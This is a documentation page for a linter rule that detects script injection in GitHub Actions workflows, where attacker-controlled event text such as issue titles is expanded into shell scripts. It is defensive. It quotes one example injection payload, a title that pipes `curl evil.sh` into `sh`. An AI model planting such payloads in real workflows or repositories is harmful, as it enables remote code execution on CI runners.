> ## Documentation Index
> Fetch the complete documentation index at: https://loadwise.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# github-actions-script-injection

> A workflow script expands attacker-controlled event text such as an issue title or branch name.

## What it flags

A `${{ }}` expression in a step's `run:` script, or in the `script` input of `actions/github-script`, that reads event text its author controls: issue, pull request and discussion titles and bodies, comment and review bodies, commit messages and author and committer names and emails, wiki page names, branch names (`github.head_ref`, `github.event.pull_request.head.ref`, `github.event.workflow_run.head_branch`), and the fork's repository description and default branch (`head.repo.description`, `head.repo.default_branch`, and the same fields of `workflow_run.head_repository`). Field names are matched without regard to case and in bracket form (`github.event.issue['title']`), and `toJSON(github.event)`, `toJSON(github.event.issue)`, `toJSON(github.event.pull_request.head.repo)` or `toJSON(github.event.workflow_run.head_commit)` counts because it serializes those fields. A `}}` inside a quoted string does not end the expression. `${{ env.NAME }}` counts too when the step, job or workflow `env:` sets `NAME` from such a field; a narrower `env:` that sets it to a fixed value shadows it. A `run:` script that passes such a variable to `eval` or `sh -c` (`eval "$TITLE"`, `eval echo "$TITLE"`) is reported too, because the shell parses its value as code; this includes `bash -lc`, assignments before the command, a `case` arm or `{ ...; }` group, and a quoted one-line `run:`. The same text in a comment, in a printed string, inside single quotes after `sh -c`, or escaped as `\$TITLE` is not, and shell variable names must match in case. The runner substitutes the text into the script before the shell runs it, so a title such as `"; curl evil.sh | sh #` becomes a command. Workflows in `.github/workflows/` and composite actions (`action.yml`) are checked. [GitHub docs](https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)

Not flagged: the same expression under `env:` or a `with:` input other than `script`, the shell variable (`$TITLE`) read at run time as data, a field used only inside `contains`, `startsWith` or `endsWith`, or compared with `==`, `!=`, `<` or `>` (the expression expands to `true` or `false`), and trusted contexts such as `github.sha` or `github.event.issue.number`. A script given as a YAML alias (`run: *script`, `with: *inputs`) is checked and reported at the alias. Other aliases, such as an aliased `env:` value, are not expanded. Workflow inputs (`inputs.*`) and `repository_dispatch` payloads are not treated as untrusted, because only someone with write access can send them, and the values a workflow passes to a composite action are not followed into that action's file. Input names such as `Script` or `Ref` match in any letter case.

```yaml theme={null}
- env:
    TITLE: ${{ github.event.issue.title }}
  run: echo "$TITLE"
```

## Configuration

Set the rule to `"off"` in `loadwise.config.json` to drop its findings:

```json theme={null}
{
  "rules": { "github-actions-script-injection": "off" }
}
```


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.